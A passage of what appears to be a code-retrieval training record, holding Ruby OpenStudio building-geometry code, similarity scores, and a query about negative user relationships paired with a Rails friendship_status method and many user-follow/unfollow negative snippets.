corridor_space.setSpaceType(corridor_space_type)\n corridor_space.setThermalZone(corridor_zone)\n end\n\n elsif (corridor_position == 'Double Exterior') || (corridor_position == 'Single Exterior (Front)')\n interior_corridor_width = 0\n # front access\n nw_point = OpenStudio::Point3d.new(0, -y, wall_height + z)\n sw_point = OpenStudio::Point3d.new(0, -y - corridor_width, wall_height + z)\n ne_point = OpenStudio::Point3d.new(x, -y, wall_height + z)\n se_point = OpenStudio::Point3d.new(x, -y - corridor_width, wall_height + z)\n\n shading_surface = OpenStudio::Model::ShadingSurface.new(OpenStudio::Point3dVector.new([sw_point, se_point, ne_point, nw_point]), model)\n shading_surface_group = OpenStudio::Model::ShadingSurfaceGroup.new(model)\n shading_surface.setShadingSurfaceGroup(shading_surface_group)\n shading_surface.setName('Corridor shading')\n end\n\n # foundation\n if foundation_height > 0\n foundation_spaces = []\n\n # foundation corridor\n foundation_corridor_space = nil\n if (corridor_width > 0) && (corridor_position == 'Double-Loaded Interior')\n foundation_corridor_space = OpenStudio::Model::Space::fromFloorPrint(foundation_corr_polygon, foundation_height, model)\n foundation_corridor_space = foundation_corridor_space.get\n m = Geometry.initialize_transformation_matrix(OpenStudio::Matrix.new(4, 4, 0))\n m[2, 3] = foundation_height\n foundation_corridor_space.changeTransformation(OpenStudio::Transformation.new(m))\n foundation_corridor_space.setXOrigin(0)\n foundation_corridor_space.setYOrigin(0)\n foundation_corridor_space.setZOrigin(0)\n foundation_spaces << foundation_corridor_space\n end\n\n # foundation front\n foundation_space_front = []\n foundation_space = OpenStudio::Model::Space::fromFloorPrint(foundation_front_polygon, foundation_height, model)\n foundation_space = foundation_space.get\n m = Geometry.initialize_transformation_matrix(OpenStudio::Matrix.new(4, 4, 0))\n m[2, 3] = foundation_height\n foundation_space.changeTransformation(OpenStudio::Transformation.new(m))\n foundation_space.setXOrigin(0)\n foundation_space.setYOrigin(0)\n foundation_space.setZOrigin(0)\n\n foundation_space_front << foundation_space\n foundation_spaces << foundation_space\n\n foundation_spaces.each do |foundation_space| # (corridor and foundation)\n next unless (['crawlspace', 'unfinished basement'].include? foundation_type)\n\n if foundation_type == 'crawlspace'\n foundation_zone = OpenStudio::Model::ThermalZone.new(model)\n if (not foundation_corridor_space.nil?) && (foundation_space == foundation_corridor_space)\n foundation_space.setName('crawl corridor space')\n foundation_zone.setName('crawl corridor zone')\n else\n foundation_space.setName('crawl space')\n foundation_zone.setName('crawl zone')\n end\n\n foundation_space.setThermalZone(foundation_zone)\n foundation_space_type_name = Constants.SpaceTypeCrawl\n\n elsif foundation_type == 'unfinished basement'\n foundation_zone = OpenStudio::Model::ThermalZone.new(model)\n if (not foundation_corridor_space.nil?) && (foundation_space == foundation_corridor_space)\n foundation_space.setName('unfinished basement corridor space')\n foundation_zone.setName('unfinished basement corridor zone')\n else\n foundation_space.setName('unfinished basement space')\n foundation_zone.setName('unfinished basement zone')\n end\n\n foundation_space_type_name = Constants.SpaceTypeUnfinishedBasement\n foundation_space.setThermalZone(foundation_zone)\n end\n if space_types_hash.keys.include? foundation_space_type_name\n foundation_space_type = space_types_hash[foundation_space_type_name]\n else\n foundation_space_type = OpenStudio::Model::SpaceType.new(model)\n foundation_space_type.setStandardsSpaceType(foundation_space_type_name)\n space_types_hash[foundation_space_type_name] = foundation_space_type\n end\n foundation_space.setSpaceType(foundation_space_type)\n end\n\n # put all of the spaces in the model into a vector\n spaces = OpenStudio::Model::SpaceVector.new\n model.getSpaces.each do |space|\n spaces << space\n end\n\n # intersect and match surfaces for each space in the vector\n OpenStudio::Model.intersectSurfaces(spaces)\n OpenStudio::Model.matchSurfaces(spaces)\n\n # Foundation space boundary conditions\n model.getSpaces.each do |space|\n next unless Geometry.get_space_floor_z(space) + UnitConversions.convert(space.zOrigin, 'm', 'ft') < 0 # Foundation\n next if space.name.get.include? 'corridor'\n\n surfaces = space.surfaces\n surfaces.each do |surface|\n next unless surface.surfaceType.downcase == 'wall'\n\n os_facade = Geometry.get_facade_for_surface(surface)\n if adb_facade.include?(os_facade) && (os_facade != 'RoofCeiling') && (os_facade != 'Floor')\n surface.setOutsideBoundaryCondition('Adiabatic')\n elsif os_facade != 'RoofCeiling'\n surface.setOutsideBoundaryCondition('Foundation')\n end\n end\n end\n\n # Foundation corridor space boundary conditions\n foundation_corr_obcs = []\n if not foundation_corridor_space.nil?\n foundation_corridor_space.surfaces.each do |surface|\n next unless surface.surfaceType.downcase == 'wall'\n\n os_facade = Geometry.get_facade_for_surface(surface)\n if adb_facade.include? os_facade\n surface.setOutsideBoundaryCondition('Adiabatic')\n else\n surface.setOutsideBoundaryCondition('Foundation')\n end\n end\n end\n end\n\n # Corridor space boundary conditions\n model.getSpaces.each do |space|\n next unless Geometry.is_corridor(space)\n\n space.surfaces.each do |surface|\n os_facade = Geometry.get_facade_for_surface(surface)\n if adb_facade.include? os_facade\n surface.setOutsideBoundaryCondition('Adiabatic')\n end\n\n if (adb_level.include? surface.surfaceType)\n surface.setOutsideBoundaryCondition('Adiabatic')\n end\n end\n end\n\n unit_spaces.each do |spaces|\n # store building unit information\n unit = OpenStudio::Model::BuildingUnit.new(model)\n unit.setBuildingUnitType(Constants.BuildingUnitTypeResidential)\n unit.setName(Constants.ObjectNameBuildingUnit(1))\n spaces.each do |space|\n space.setBuildingUnit(unit)\n end\n end\n\n # put all of the spaces in the model into a vector\n spaces = OpenStudio::Model::SpaceVector.new\n model.getSpaces.each do |space|\n spaces << space\n end\n\n # intersect and match surfaces for each space in the vector\n OpenStudio::Model.intersectSurfaces(spaces)\n OpenStudio::Model.matchSurfaces(spaces)\n\n # make corridor floors adiabatic if no exterior walls to avoid exposed perimeter error\n exterior_obcs = ['Foundation', 'Ground', 'Outdoors']\n obcs_hash = {}\n model.getSpaces.each do |space|\n next unless space.name.get.include? 'corridor' # corridor and foundation corridor spaces\n\n space_name = space.name\n obcs_hash[space_name] = []\n space.surfaces.each do |surface|\n next unless surface.surfaceType.downcase == 'wall'\n\n obcs_hash[space_name] << surface.outsideBoundaryCondition\n end\n\n next if (obcs_hash[space_name] & exterior_obcs).any? # if there is an exterior wall\n\n space.surfaces.each do |surface|\n if (surface.surfaceType.downcase == 'roofceiling') && (not foundation_corridor_space.nil?) && (space == foundation_corridor_space)\n surface.setOutsideBoundaryCondition('Adiabatic')\n end\n\n next unless surface.surfaceType.downcase == 'floor'\n\n surface.setOutsideBoundaryCondition('Adiabatic')\n end\n end\n\n # set foundation outside boundary condition to Kiva \"foundation\"\n model.getSurfaces.each do |surface|\n next if surface.outsideBoundaryCondition.downcase != 'ground'\n\n surface.setOutsideBoundaryCondition('Foundation')\n end\n\n # set adjacent corridor walls to adiabatic\n model.getSpaces.each do |space|\n next unless Geometry.is_corridor(space)\n\n space.surfaces.each do |surface|\n if surface.adjacentSurface.is_initialized && (surface.surfaceType.downcase == 'wall')\n surface.adjacentSurface.get.setOutsideBoundaryCondition('Adiabatic')\n surface.setOutsideBoundaryCondition('Adiabatic')\n end\n end\n end\n\n # Store mf data on model\n model.getBuilding.additionalProperties.setFeature('num_units', num_units)\n model.getBuilding.additionalProperties.setFeature('has_rear_units', has_rear_units)\n model.getBuilding.additionalProperties.setFeature('num_floors', above_ground_floors)\n model.getBuilding.additionalProperties.setFeature('horz_location', horz_location)\n model.getBuilding.additionalProperties.setFeature('level', level)\n model.getBuilding.additionalProperties.setFeature('found_type', foundation_type)\n model.getBuilding.additionalProperties.setFeature('corridor_width', corridor_width.to_f)\n model.getBuilding.additionalProperties.setFeature('corridor_position', corridor_position)\n\n # Store number of units\n model.getBuilding.setStandardsNumberOfLivingUnits(num_units)\n\n # Store number of stories\n model.getBuilding.setStandardsNumberOfAboveGroundStories(num_floors)\n if foundation_type == 'unfinished basement'\n num_floors += 1\n end\n model.getBuilding.setStandardsNumberOfStories(num_floors)\n\n # Store the building type\n model.getBuilding.setStandardsBuildingType(Constants.BuildingTypeMultifamily)\n\n result = Geometry.process_beds_and_baths(model, runner, num_br, num_ba)\n unless result\n return false\n end\n\n schedules_file = SchedulesFile.new(runner: runner, model: model)\n if not schedules_file.validated?\n return false\n end\n\n result = Geometry.process_occupants(model, runner, num_occupants, occ_gain = 384.0, sens_frac = 0.573, lat_frac = 0.427, schedules_file)\n unless result\n return false\n end\n\n result = Geometry.process_eaves(model, runner, eaves_depth, Constants.RoofStructureTrussCantilever)\n unless result\n return false\n end\n\n result = Geometry.process_neighbors(model, runner, left_neighbor_offset, right_neighbor_offset, back_neighbor_offset, front_neighbor_offset)\n unless result\n return false\n end\n\n result = Geometry.process_orientation(model, runner, orientation)\n unless result\n return false\n end\n\n # reporting final condition of model\n runner.registerFinalCondition(\"The building finished with #{model.getSpaces.size} spaces.\")\n\n return true\n end",
"def arguments(model)\n args = OpenStudio::Measure::OSArgumentVector.new\n\n # # Make integer arg to run measure [1 is run, 0 is no run]\n # run_measure = OpenStudio::Ruleset::OSArgument::makeIntegerArgument(\"run_measure\",true)\n # run_measure.setDisplayName(\"Run Measure\")\n # run_measure.setDescription(\"integer argument to run measure [1 is run, 0 is no run]\")\n # run_measure.setDefaultValue(1)\n # args << run_measure\n\n return args\n end",
"def available_parameters( params, runs )\n @runs = runs\n\n Maadi::post_message(:More, \"Organizer (#{@type}) Parameters are ready\")\n return true\n end"
] |
[
"0.6817239",
"0.658044",
"0.6508074",
"0.6440833",
"0.64139843",
"0.6397583",
"0.6367931",
"0.63197553",
"0.6316254",
"0.6301247",
"0.6276387",
"0.6247725",
"0.6224823",
"0.62244034",
"0.6222868",
"0.6217057",
"0.6184234",
"0.61792433",
"0.61715466",
"0.617067",
"0.61613023",
"0.61580855",
"0.615556",
"0.6152083",
"0.6150462",
"0.61439776",
"0.6135488",
"0.61343527",
"0.61322933",
"0.6124321",
"0.61197245",
"0.6116113",
"0.6109339",
"0.61080164",
"0.61080164",
"0.61000925",
"0.6094621",
"0.6090024",
"0.6075226",
"0.6072496",
"0.60701936",
"0.60671574",
"0.6066602",
"0.6056395",
"0.60517097",
"0.60517097",
"0.60354435",
"0.6034754",
"0.6032542",
"0.6020333",
"0.60014427",
"0.6001166",
"0.6000667",
"0.6000497",
"0.5970644",
"0.5964087",
"0.5962024",
"0.5951847",
"0.59516346",
"0.5945365",
"0.5943478",
"0.5943478",
"0.59415144",
"0.59387213",
"0.5928767",
"0.592766",
"0.5907356",
"0.58952826",
"0.588183",
"0.5881169",
"0.5878438",
"0.5873134",
"0.5863747",
"0.5863699",
"0.58510053",
"0.5839789",
"0.58386236",
"0.58370024",
"0.5835371",
"0.58318824",
"0.5827319",
"0.58181804",
"0.5811862",
"0.57972217",
"0.57961935",
"0.57947654",
"0.57884204",
"0.57819754",
"0.57788634",
"0.5770568",
"0.57705617",
"0.57639873",
"0.5762008",
"0.575156",
"0.5746174",
"0.5745673",
"0.5721325",
"0.5720668",
"0.57122064",
"0.5704021"
] |
0.5864251
|
72
|
positive relationship is one when user is explicitly or implicitly following another
|
def positive?
self.friendship_status >= 0
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def relationship(user)\n Following.where(:follower_id => self, :followed_id => user).first.try(:relationship)||\"none\"\n end",
"def confirm_relationship(user, label)\n return false if user.nil? or user == self\n\n edge = self.edges.select { |edge| edge.origin == user and edge.label == label }.first\n\n unless edge.nil? \n edge.active = true\n return edge.save\n end\n\n return false\n end",
"def following?(other_user)\n active_relationships.find_by(followed_id: other_user.id)\nend",
"def following?(other_user)\n relationships.find_by(followed_id: other_user.id)\n end",
"def following?(other_user)\n active_relationships.find_by(followed_id: other_user.id)\n end",
"def following?(other_user)\n relationships.find_by(followed_id: other_user.id)\n end",
"def following?(other_user)\n relationships.find_by(followed_id: other_user.id)\n end",
"def following?(other_user)\n following.include?(other_user)\n # relationships.find_by(followed_id: other_user.id) \n end",
"def following?(other_user)\n relationships.find_by_followed_id(other_user.id)\n end",
"def following?(other_user)\n relationships.find_by_followed_id(other_user.id)\n end",
"def following?(other_user)\n relationships.find_by_followed_id(other_user.id)\n end",
"def following?(other_user)\n relationships.find_by_followed_id(other_user.id)\n end",
"def following?(other_user)\n relationships.find_by_followed_id(other_user.id)\n end",
"def following?(other_user)\n #!active_relationships.find_by(followed_id: other_user.id).nil? or\n following.include?(other_user)\n end",
"def following?(other_user)\n relationships.find_by_followed_id(other_user.id)\n end",
"def followable_by?(user)\n return false if self.id == user.id #can't follow self\n return false if user.following?(self) #can't follow someone already following\n true #otherwise \n end",
"def following?(other)\n\t\tself.relationships.find_by_followed_id(other.id) #followed_id = name of the attribute as it appears in relationships\n\tend",
"def following?(other_user)\n\t\trelationships.find_by_followed_id(other_user.id)\n\tend",
"def following?(other_user)\n\t\trelationships.find_by_followed_id(other_user.id)\n\tend",
"def followee?(other_user)\n followee_relationships.include?(other_user)\n end",
"def follow(other_user)\n active_relationships.create(following_id: other_user.id)\n end",
"def follow(other_user)\n\t\tactive_relationships.create(followed_id: other_user.id)\n\tend",
"def following?\n user.present?\n end",
"def follow (other_user)\n active_relationships.create(followed_id: other_user.id)\nend",
"def follow(other_user)\n active_relationships.create(followed_id: other_user.id)\n end",
"def follow(other_user)\n active_relationships.create(followed_id: other_user.id)\n end",
"def follow(other_user)\n active_relationships.create(followed_id: other_user.id)\n end",
"def follow(other_user)\n active_relationships.create(followed_id: other_user.id)\n end",
"def follow(other_user)\n active_relationships.create(followed_id: other_user.id)\n end",
"def follow(other_user)\n active_relationships.create(followed_id: other_user.id)\n end",
"def follow(other_user)\n active_relationships.create(followed_id: other_user.id)\n end",
"def follow(other_user)\n active_relationships.create(followed_id: other_user.id)\n end",
"def follow(other_user)\n active_relationships.create(followed_id: other_user.id)\n end",
"def following?(other_user)\n self.relationships.find_by_followed_id(other_user.id)\n end",
"def following?(other_user)\n following.exists?(other_user.id)\n end",
"def follow_user(follow_user)\n #before we can create the relationship between the two users, we need to check\n #if the user is not already following the other user, or the user is not trying to follow themself\n #if the user is following the other user that means a relationship already exists\n if following?(follow_user) \n raise \"Can't follow yourself or a user you are already following!\"\n else\n Follow.create({:user => self, :followed_user => follow_user})\n end\n end",
"def follow(other_user)\n following << other_user unless self == other_user\n end",
"def related?(user)\n [from_user_id, to_user_id].include?(user&.id)\n end",
"def following?(other_user)\n\t following.include?(other_user)\n \tend",
"def following? other_user\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user) \n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def get_relationship(other_user)\n\tif other_user.present?\n\t\tRelationship.where(\"follower_id = :follower_id and followed_id = :followed_id or follower_id = :followed_id and followed_id = :follower_id\", {follower_id: other_user.id, followed_id: self.id})[0]\n\tend\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?( other_user )\n followings.include?( other_user )\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end"
] |
[
"0.71842724",
"0.70794946",
"0.70019114",
"0.69564104",
"0.693185",
"0.6885819",
"0.68707997",
"0.68446976",
"0.68265206",
"0.68265206",
"0.68265206",
"0.68265206",
"0.68265206",
"0.6812651",
"0.67889065",
"0.6758096",
"0.6748795",
"0.67473006",
"0.67473006",
"0.673487",
"0.6674898",
"0.6673226",
"0.6672019",
"0.66608816",
"0.66595834",
"0.66595834",
"0.66595834",
"0.66595834",
"0.66595834",
"0.66595834",
"0.66595834",
"0.66595834",
"0.66595834",
"0.6651388",
"0.6648981",
"0.6632409",
"0.66285807",
"0.6624951",
"0.6616469",
"0.66016126",
"0.6591529",
"0.65885574",
"0.65811706",
"0.6579511",
"0.6565859",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621",
"0.6546621"
] |
0.0
|
-1
|
negative relationship is when user is explicitly or implicitly ignoring another user
|
def negative?
self.friendship_status < 0
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def antiuser(user)\n users.where(['users.id <> ?', user.id]).first\n end",
"def foreign_visitor?\n not user\n end",
"def opposite_member(user)\n user == sender ? receiver : sender\n end",
"def unfollowed(other_user)\n passive_relationships.find_by(follower_id: other_user.id).try(:destroy) \n end",
"def ignore(other) \n\trelationship = get_relationship(other)\n\t\n\tif relationship && relationship.friend_status == \"PENDING\" && relationship.followed_id == self.id\t\n\t\trelationship.friend_status = \"IGNORED\"\n\t\t\n\t\treturn relationship.save\n\tend\n\t\n\treturn false\n end",
"def unappliable?\n !order_item.order.user || !referrer\n end",
"def belongs_blocked\n end",
"def unfollow(other_user)\n \tactive_relationships.find_by(followed_id: other_user.id).destroy\n \tend",
"def applies_to?(user); false end",
"def user_has_not_verified_other_discord_users?(user, discord_user)\n user.discord_user.nil? || !user.discord_user.verified? || user.discord_user == discord_user\n end",
"def i_dont_own?(object)\n if(current_user.present? and object.user.present? and object.user.id.present? and (current_user.id == object.user.id))\n false\n else\n true\n end\n end",
"def ensure_not_referenced_by_any_user\n raise \"Cannot delete user '#{name}'. There are users referencing this user as manager.\" unless users.empty?\n end",
"def confirm_relationship(user, label)\n return false if user.nil? or user == self\n\n edge = self.edges.select { |edge| edge.origin == user and edge.label == label }.first\n\n unless edge.nil? \n edge.active = true\n return edge.save\n end\n\n return false\n end",
"def may_not_be_user_required\n\t\tcurrent_user.may_not_be_user?(@user) || access_denied(\n\t\t\t\"You may not be this user to do this\", user_path(current_user))\n\tend",
"def not_followed_by(other)\n to_unbound_task_predicate\n .not_followed_by(other.to_unbound_task_predicate)\n end",
"def is_unconfirmable_by(another_user)\n !!(\n is_associated_to_somebody_else_than(another_user) &&\n !another_user.find_any_confirmation_given_to(@swimmer.associated_user).nil?\n )\n end",
"def user_is_not_following_themselves\r\n if follower_id == followed_user_id\r\n errors.add(:base, \"Users cannot follow themselves\")\r\n end\r\nend",
"def unfollow(other_user)\n\t\tactive_relationships.find_by(followed_id: other_user.id).destroy\n\tend",
"def transferrable_to_users\n collaborator_users.where.not(id: user_id)\n end",
"def not_account_owner\n not_account_owner_in_signup && !is_account_owner? \n end",
"def deny\n self.granted = -1\n restaurant = Restaurant.find(self.restaurant_id)\n restaurant.mark_collaborative\n end",
"def user_owns\n if !@freerange.has_owner(@user)\n redirect_to @user\n end\n end",
"def unfollow!(other_user)\n relationships.find_by(followed_id: other_user.id).destroy\n end",
"def unfollow(other_user)\n active_relationships.find_by(followed_id: other_user.id).destroy\n end",
"def unfollow(other_user)\n active_relationships.find_by(followed_id: other_user.id).destroy\n end",
"def unfollow(other_user)\n active_relationships.find_by(followed_id: other_user.id).destroy\n end",
"def ignore_enduser\n record_api_supportability_metric(:ignore_enduser)\n NewRelic::Agent::Transaction.tl_current&.ignore_enduser!\n end",
"def can_be_undone?\n true\n end",
"def unfollow!(other_user)\n relationships.find_by(followed_id: other_user.id).destroy!\n end",
"def unfollow!(other_user)\n relationships.find_by_followed_id(other_user.id).destroy\n end",
"def unfollow!(other_user)\n relationships.find_by_followed_id(other_user.id).destroy\n end",
"def unfollow!(other_user)\n relationships.find_by_followed_id(other_user.id).destroy\n end",
"def unfollow!(other_user)\n relationships.find_by_followed_id(other_user.id).destroy\n end",
"def unfollow!(other_user)\n relationships.find_by_followed_id(other_user.id).destroy\n end",
"def relation_none(model)\n validate_model(model)\n model.none\n end",
"def other_user_profile?\n !is_owner\n end",
"def ensure_not_accountant\n raise \"Cannot delete user '#{name}'. The user is the accountant of the company.\" unless company.accountant_id != id\n end",
"def unfollow!(other_user)\n\t\tself.relationships.find_by_followed_id(other_user.id).destroy\n\tend",
"def accepts_no_role( role_name, user )\n user.has_no_role role_name, self\n end",
"def miss_overdrive(user)\n if user.actor? and !self.actor?\n user.overdrive += user.overdrive_gain['Miss']\n elsif self.actor? and not user.actor?\n self.overdrive += self.overdrive_gain['Eva']\n end \n end",
"def unfollow(other_user_id)\n \tuser_to_unfollow = User.find_by(id: other_user_id)\n active_relationships.find_by(followed_id: user_to_unfollow.id).destroy\n end",
"def eligible_owners\n User.where('users.id != ?', @cookbook.user_id)\n end",
"def deletable_by?(user)\n false\n end",
"def ignored?(other)\n\trelationship = get_relationship(other)\n\t\n\treturn relationship && relationship.friend_status == \"IGNORED\"\n end",
"def other_user usr\n usr.id == user_id ? recipient : user\n end",
"def is_not_global_and_is_owned_by?(user)\n !self.is_global? && self.user_id == user.id\n end",
"def unfollow_user(follow_user)\n #before we can destroy the link we must check if the user is already not following the other user\n #or if the user is trying to unfollow themself.\n #if the user can follow the other user then that means no relationship exists\n if can_follow?(follow_user)\n raise \"Can't unfollow yourself or a user that you are not already following!\"\n else\n followRel = Follow.find(:first, :conditions => {:user_id => self.id, :follow_user_id => follow_user.id})\n followRel.destroy\n end\n end",
"def invited_user_is_not_invited_by_himself\n\t errors[:base] << 'You cannot invite yourself!' if invited_user == invited_by_user\n\t end",
"def cancel_request(other_user)\n\t\trelationship = requested_relationships.find_by(friend_pasive_id: other_user.id)\n\t\tif requested_friends.include?(other_user) && relationship.accepted == false\n\t\t\trelationship.destroy\n\t\tend\n\tend",
"def reject_friend(user)\n friendship = inverse_friendships.find { |friendship| friendship.user == user }\n friendship.destroy\n end",
"def relationship(user)\n Following.where(:follower_id => self, :followed_id => user).first.try(:relationship)||\"none\"\n end",
"def belongs_to?; false; end",
"def siblings\n #user = User.find_by_id(:user_id)\n \t#user = absence.user\n user.absences.where('id != ?', id || -1)\n end",
"def end_friendship!(other_user) \n relother=Relationship.where(user: other_user, friend: self).first\n relself=Relationship.where(user: self, friend: other_user).first\n if (relother==nil or relself==nil)\n return false\n else\n #if both relations exist: destroy them\n relother.destroy\n relself.destroy\n return true\n end\n end",
"def user_is_not_owner\n unless @likeable_obj.present? && @likeable_obj.user_id != current_user.id\n redirect_to @likeable_obj, notice: \"You cannot like your own dog... How sad...\"\n end\n end",
"def recurring_but_no_owner\n self.recurrence.present? && self.recurrence.owner != self\n end",
"def user\n User.unscoped { super }\n end",
"def user\n User.unscoped{ super }\n end",
"def unfollow(other_user)\n following_relationships.find_by(followed_id: other_user.id).destroy\n end",
"def admit_user user_id = nil\n return if is_global\n if (tagtype != 0) || user_id.nil? || (user_id == User.super_id)\n self.is_global = true\n elsif !owner_ids.include?(user_id) && (user = User.find_by id: user_id)\n self.owners << user unless owners.include?(user)\n end\n end",
"def similar_users\n User.exclude(self)\n .has_voted_at_least_a_product\n .in_same_cluster_as(self)\n .not_following(following)\nend",
"def inverse_friend?(user)\n if !user.is_a? User\n raise \"'user' must be a User obj\"\n end\n \n result = Friendship\n .where(:user_id => user.id, :friend_id => self.id)\n .first\n\n !result.nil?\n end",
"def validate_user_not_same\n return if user != travel.user\n\n errors.add(:user_id, :authorize_himself)\n end",
"def we_can_set_the_inverse_on_this?(record)\n false\n end",
"def is_sole_author_of?(item)\n other_pseuds = item.pseuds.find(:all) - self.pseuds\n self.is_author_of?(item) && other_pseuds.blank?\n end",
"def not_visitors\n User.all - self.users\n end",
"def ensure_not_referenced_by_any_expense\n raise \"Cannot delete user '#{name}'. There are expenses referencing this user.\" unless expenses.empty?\n end",
"def unassigned_approvers_for_contract(contract)\n\n # todo: shouldnt have to use select here... theres a better way\n user_ids = contract.approver_users.map {|user| user.id}\n self.approver_users.select {|user| !user_ids.include?(user.id)}\n\n end",
"def deletable_by?(user)\n user.has_role?(:admin) or resource.user_id == user.id\n end",
"def root_relation?; !parent end",
"def no_users\n return User.find_by_sql(\"SELECT users.*, ru.*\n FROM users users\n LEFT OUTER JOIN roles_users AS ru ON users.id=ru.user_id\n WHERE ru.role_id IS NULL OR ru.role_id not in (select id from roles where name = '#{self.name}')\")\n end",
"def reject_user\n # set the enabled flag to false for the user\n # clear activation code (prevents user from showing up as pending user)\n # send out rejection notification\n end",
"def other_user(user)\n user == sender ? recipient : sender\n end",
"def ordered_on_behalf_of?\n user_id != created_by\n end",
"def relationship(user) # \n return :self if user.id == id # TODO will I use this value?\n friendship_association = Friendship.where(\"(initiator_id = :own_id AND recipient_id = :other_id) OR (initiator_id = :other_id AND recipient_id = :own_id)\", own_id: id, other_id: user.id)\n if friendship_association.empty?\n return nil\n else\n friendship_association.first\n end\n end",
"def deny_user(user_id)\n create_entry(user_id, USER, false)\n end",
"def unfollow(other_user)\n following.delete(other_user)\n end",
"def unfollow(other_user)\n following.delete(other_user)\n end",
"def unfollow(other_user)\n following.delete(other_user)\n end",
"def unfollow(other_user)\n following.delete(other_user)\n end",
"def not_self\n \tif (user_id == friend_id)\n \t\terrors.add(:friend, \"can't be equal to user\")\n \tend\n end",
"def following?(user)\n !can_follow?(user)\n end",
"def deletable_by?(user, parent = nil)\n raise \"#{self.class}#deletable_by?(user, parent = nil) must be overridden\"\n end",
"def except(user_or_id)\n @user_id_to_exclude = if user_or_id.respond_to?(:_id)\n user_or_id.id\n else\n user_or_id\n end\n self\n end",
"def inverse_friendship\n return if new_user_or_friend?\n\n return unless FriendshipsQuery.new.friends?(user_id: user.id, friend_id: friend.id)\n\n errors.add(:user_id, :already_friends)\n end",
"def unfollow(other_user)\n active_follows.find_by(followed_id: other_user.id).destroy\n end",
"def ignore_user(user)\n @ignored_ids << user.resolve_id\n end",
"def ignore_user(user)\n @ignored_ids << user.resolve_id\n end",
"def ensure_no_user\n !current_user? || redirect_back_or_default\n end",
"def no_self_recommendation\n errors.add(:user_id, I18n.t('recommendation.no_self_recommendation_message')) if user_id == domain.mecano_profile.user_id\n end",
"def unfollow!(user)\n relationships.find_by_followed_id(user).destroy\n end",
"def neg_role(n)\n ret_val = \"z\"\n ret_val = \"b\" if n.buyer_id == self.id\n ret_val = \"s\" if n.seller_id == self.id\n end",
"def related?(user)\n [from_user_id, to_user_id].include?(user&.id)\n end",
"def get_non_friends\n\n userFriends = self.all_friends\n userNotFriends = User.all_except(userFriends)\n\n #user is not friend of himself, next line break do this\n userNotFriends = userNotFriends.all_except(self)\n\n return userNotFriends\n end",
"def reverse_blocked(user)\n Subscription.where(:subscriber_id => self.id, :user_id => user.id).first\n end",
"def not_self\n if user_id == friend_id\n errors.add(:friend, \"can't be equal to user\") \n end\n end",
"def off_org_users\n \n end",
"def inverse_class\n ManyToOne::Relationship\n end",
"def inverse_class\n ManyToOne::Relationship\n end",
"def deletable_by?(user)\n user.admin_for?(resource.course)\n end"
